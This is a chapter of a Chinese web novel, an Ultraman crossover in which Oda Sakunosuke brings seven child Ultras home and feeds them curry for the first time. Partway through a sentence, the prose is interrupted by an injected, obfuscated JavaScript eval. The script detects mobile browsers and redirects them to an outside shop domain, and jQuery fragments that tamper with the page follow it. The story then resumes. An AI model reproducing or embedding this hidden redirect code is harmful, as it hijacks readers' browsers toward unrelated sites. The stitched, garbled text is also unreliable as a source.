文趣网 > 都市小说 > 奥特曼:孩童间的纯真 > 11. 这个地球也多灾多难
    织田作之助住的地方离镭体街不算远,但中间要穿过一段很长的坡道。

    坡道两旁是密密麻麻的老旧住宅,墙皮剥落,电线杆上缠着不知哪个年代的电话线,像一张被人遗忘在半空中的蛛网。

    路灯已经亮了几盏,橘黄色的光晕在暮色中晕开,把整条坡道染成一种温暖而陈旧的颜色。

    他走在最前面,步子不快,身后七个孩子自动排成了左右两列,而安井佑二一会儿冲到前面去和织田作之助并排走,一会儿又掉到后面去拽泷泽靖也的袖子,像一只永远找不到自己该待在哪里的幼犬。

    诸星梦走在织田作之助右手边,“作之助,”她忽然开口,语气听起来漫不经心:“你家够住吗?我们有七个人的。”

    织田作之助的脚步没有停,他偏过头蓝眼睛在暮色里显得格外沉静,他认真地想了想然后回答:“不算大,两间房。

    不过杂物间可以清出来,铺上被褥四个人睡杂物间,三个人跟我睡主卧。”

    他顿了顿,又补了一句:“如果觉得挤的话,我睡客厅吧。”

    诸星梦张了张嘴,她想说点什么,比如“你没必要做到这种地步”,或者“沙发睡着对腰不好”,但这些话在喉咙里转了一圈,最终被她咽了回去。

    因为她看到织田作之助的表情不是勉强,甚至不是刻意的好意,他只是在陈述一个他认为理所当然的安排。

    “……随你。”她别过脸去,把声音压得波澜不惊。

    身后传来安井佑二的声音:“我听到啦!织田先生你睡主卧就好!我们可以挤一挤的!在地球上挤在一起睡比较暖和,虽然我们现在不需要取暖但挤在一起很开心啦!”

    “你这话说得好像你在其他星球上住过很久一样。”矢崎政的声音从队尾飘过来打掩护。

    “我看书上的!”

    “什么书?”

    “就是那种……那种……反正就是书,你别问了!”

    笑声又零零碎碎地响起来。

    织田作之助听着身后那些叽叽喳喳的声音没有觉得吵闹,倒不如说孩子的童真很有趣。

    坡道的尽头是一栋两层的老式公寓楼。

    “到了。”织田作之助推开铁门,侧身让出通道,“二楼,最里面那间。”

    七个小奥排着队往上走,鞋底踩在木制楼梯上发出吱呀吱呀的声响,每一步都像是在和这栋老房子对话。

    浅野千子一边走一边用手摸着墙壁,指尖从脱落的墙皮上滑过,触感粗糙而陌生,和光之国那些光滑如镜的银色墙壁完全不同,但她并不讨厌这种触感。

    织田作之助掏出钥匙开了门,门锁有点涩,他要拧两次才能打开,拧的时候还会发出一声轻微的咔哒声。

    玄关很小,只能并排站两个织田作之助。

    左边是一个鞋柜,上面放着几双鞋,清一色的灰和黑,款式简单到近乎朴素,右边墙上钉着一排挂钩,挂着外套和邮差包。

    往里面走就是客厅,不大,但收拾得很干净,一张矮桌,几个坐垫,一个书架,一台电视,墙角放着一张深棕色的沙发,沙发扶手上的布料已经磨得发白,坐垫被拍得很蓬松,看得出来经常打理。

    厨房和客厅是连通的,灶台上放着一口盖着盖子的锅,应该就是他说的那锅咖喱。

    整个房间没有多余的装饰,没有鲜艳的颜色,没有复杂的设计,一切都简单到极致,却干净得不像是一个单身汉的住处。

    地板擦过,碗洗过,窗台上没有灰,书架上的书按高矮排列得整整齐齐,这间房间和他的主人一样。

    七个孩子鱼贯而入,让客厅一下子变得很挤,七个白发金眸的小脑袋挤在矮桌周围,像一排刚刚落在枝头的麻雀,好奇地打量着这个陌生的地方。

    安井佑二是第一个行动的,他直奔厨房,鼻子翕动着像一只被食物香气勾走了魂的小动物。

    他停在灶台前面盯着那口盖着盖子的锅,眼睛里的金光一明一灭像在发光。

    “就是这个味道,”他回头对所有人宣布,语气严肃得像在公布一项重大科学发现,“这,就是咖喱的味道啊!”

    “你还没掀开盖子呢。”奈良晴彦指出。

    “我能闻到啦!”

    “你闻到的是锅盖的味道吧。”

    “锅盖也有咖喱味,因为它盖在咖喱上面,所以有!”

    这个逻辑过于强大,奈良晴彦决定放弃争辩。

    藤井奏没有去厨房,他走到书架前微微踮起脚尖,目光从最上面一排扫到最下面一排。

    书不多,种类却很杂,有几本小说书脊已经被翻出了折痕,他蹲下来把手掌放在最下面那排空荡荡的隔板上。

    木板凉凉的,有一点粗糙,手掌放上去能摸到木纹的纹理,要是把他的那些书放在这排隔板上应该刚好合适。

    那是他从光之国带出来的书,还塞在他的随身空间里,一本是光能运用的基础教材,一本是宇宙通史,还有一本是他最喜欢的,讲的是各个星球上不同文明的神话传说。

    浅野千子发现了窗台,是客厅有一扇朝南的窗户,不大,窗台上铺着淡绿色的瓷砖,被太阳晒久了瓷砖的颜色有些发黄。

    窗外正对着的不是另一栋楼,而是一棵大树,确切地说是一棵从隔壁院子斜伸过来的老樟树,枝叶繁茂,在晚风中沙沙地响。

    浅野千子趴在窗台上,双手托腮,金色的眼睛透过玻璃看着那棵樟树的树冠。

    她看到了树枝间跳跃的小影子,是鸟,一种她在地球图鉴上见过的灰色小鸟,在枝丫间蹦蹦跳跳,又时不时低头啄一下树皮。

    “织田先生!”她回头喊了一声,声音里全是惊喜,“窗外那种灰色的小鸟是叫——”

    “麻雀。”织田作之助从厨房探出头来。

    “麻雀!”她把这个名字重复了一遍,像是在嘴里品尝这两个字的味道,然后用力点点头,“嗯,我记住了,它们每天都来吗?”

    “每天早上会来,这棵树上有三个鸟巢。”

    浅野千子的眼睛更亮了,这样的话,她每天早上都能看到这些灰色的毛茸茸的活蹦乱跳的小东西。

    她趴在窗台上舍不得走,直到奈良晴彦走到她身边,轻轻拍了一下她的肩膀,让她看窗外另一侧。

    那里有一根树枝延伸出去,尽头挂着一个小小的用细枝和干草编成的鸟巢,巢口正对着他们的窗户。

    “那个应该就是其中一个鸟巢。”奈良晴彦指着它,声音里带着一种天然的温柔,“你看巢口的形状,是朝上开的说明里面可能有蛋,如果朝下的话就是空的,当然,这是我在书上看到过的。”

    “奈良,你怎么什么书都看过啊。”浅野千子佩服地看着他。

    奈良晴彦只是笑了笑,没有解释。

    他在光之国的时候最喜欢待的地方就是图书馆了,那些铺天盖地的书能让他暂时

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17967802|214566||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    忘记自己不太擅长的格斗课,忘记自己总是比别人多花一倍时间才能掌握的光线技能。

    在书里一切都是安静的,可以慢慢来的。

    而光是想想地球有多少新书可以看他就觉得心里有一只鸟在扑棱翅膀。

    矢崎政没有参观房间,他走到沙发边坐下,坐垫比他预想的要软一些,坐下去的时候整个人会微微陷进去一块。

    他没有抗拒这种凹陷,而是让自己的身体慢慢适应了这个角度,然后他微微眯起眼睛进入了半休眠状态,不是真的睡着,而是把对外界的感知调到最低,让自己从刚才那段路的喧嚣中缓一缓。

    泷泽靖也也跟着坐了下来,他习惯性地确认了每个人的状态:藤井奏蹲在书架前,手指正轻轻地抚过那排空隔板。

    浅野千子和奈良晴彦趴在窗台上,正对着窗外那棵樟树指指点点,讨论着鸟巢的结构和麻雀的习性。

    安井佑二在厨房门口打转,然后被织田作之助塞了一双筷子让他去摆桌,他正用握光剑的姿势握着那双筷子一脸茫然。

    矢崎政半闭着眼靠在沙发上,呼吸平稳,神情松弛,这是他极少在别人面前展现的状态。

    泷泽靖也慢慢吐出一口气,手指习惯性地抬起来摸一下额间放松一下。

    织田作之助把咖喱锅从灶台上端了下来。

    锅盖掀开的那一刻,浓郁的香气像一颗在客厅里炸开的香料炮弹,金黄色的咖喱在锅里咕嘟咕嘟地冒着泡,鸡肉块和土豆块从浓稠的酱汁里探出头来,热气裹挟着孜然和姜黄的味道翻滚着冲向天花板。

    安井佑二整个人像被按了暂停键一样定在原地,手里还攥着那双筷子,金色的眼睛直直地盯着锅里的咖喱,瞳孔放大,嘴微微张开,那个表情可以用四个字来概括:灵魂出窍。

    “这就是……这就是咖喱……”他的声音带着一种近乎虔诚的颤抖。

    织田作之助拿着一叠盘子在矮桌上一一放好,七个,再加他自己的一个,刚好八个人。

    泷泽靖也看着桌上整整齐齐的八套餐具,忽然明白这间屋子为什么这么干净。

    不是因为织田作之助有洁癖,而是因为他是一个把每天的每一件小事都认认真真做好的人。

    摆餐具也好,送信件也好,包扎伤口也好,他做这些事的时候,都是这样不疾不徐,像是在对待世界上最重要的事。

    织田作之助拿起汤勺,开始盛咖喱。

    咖喱浇在白米饭上,金黄色的酱汁沿着饭粒的缝隙往下渗,热气腾腾地往上冒,每一份都盛得满满当当。

    他把第一盘端到安井佑二面前,因为安井佑二的眼神已经在说“如果再不给我吃我就要死了”。

    安井佑二接过盘子,勺子插进咖喱饭里,舀了一大勺塞进嘴里。

    所有人看着他。

    “……唔。”他发出一个意义不明的声音。

    “怎么样?”藤井奏小心翼翼地问。

    安井佑二没有回答。

    他嚼了嚼,咽下去,又舀了一勺塞进嘴里嚼了嚼咽下去,眼睛里的金光在逐渐变亮像一盏被慢慢拧亮的台灯。

    “……好吃。”他的声音有点发抖,嘴角沾着一粒米饭和一点咖喱酱,“真的很好吃!不是那种、就是、就是——”

    他找不到地球语的词汇,直接切回了奥特一族的语言喊出了一句极其直白、毫无修饰的评价:“比爱迪老师营养餐好吃一万倍!!!”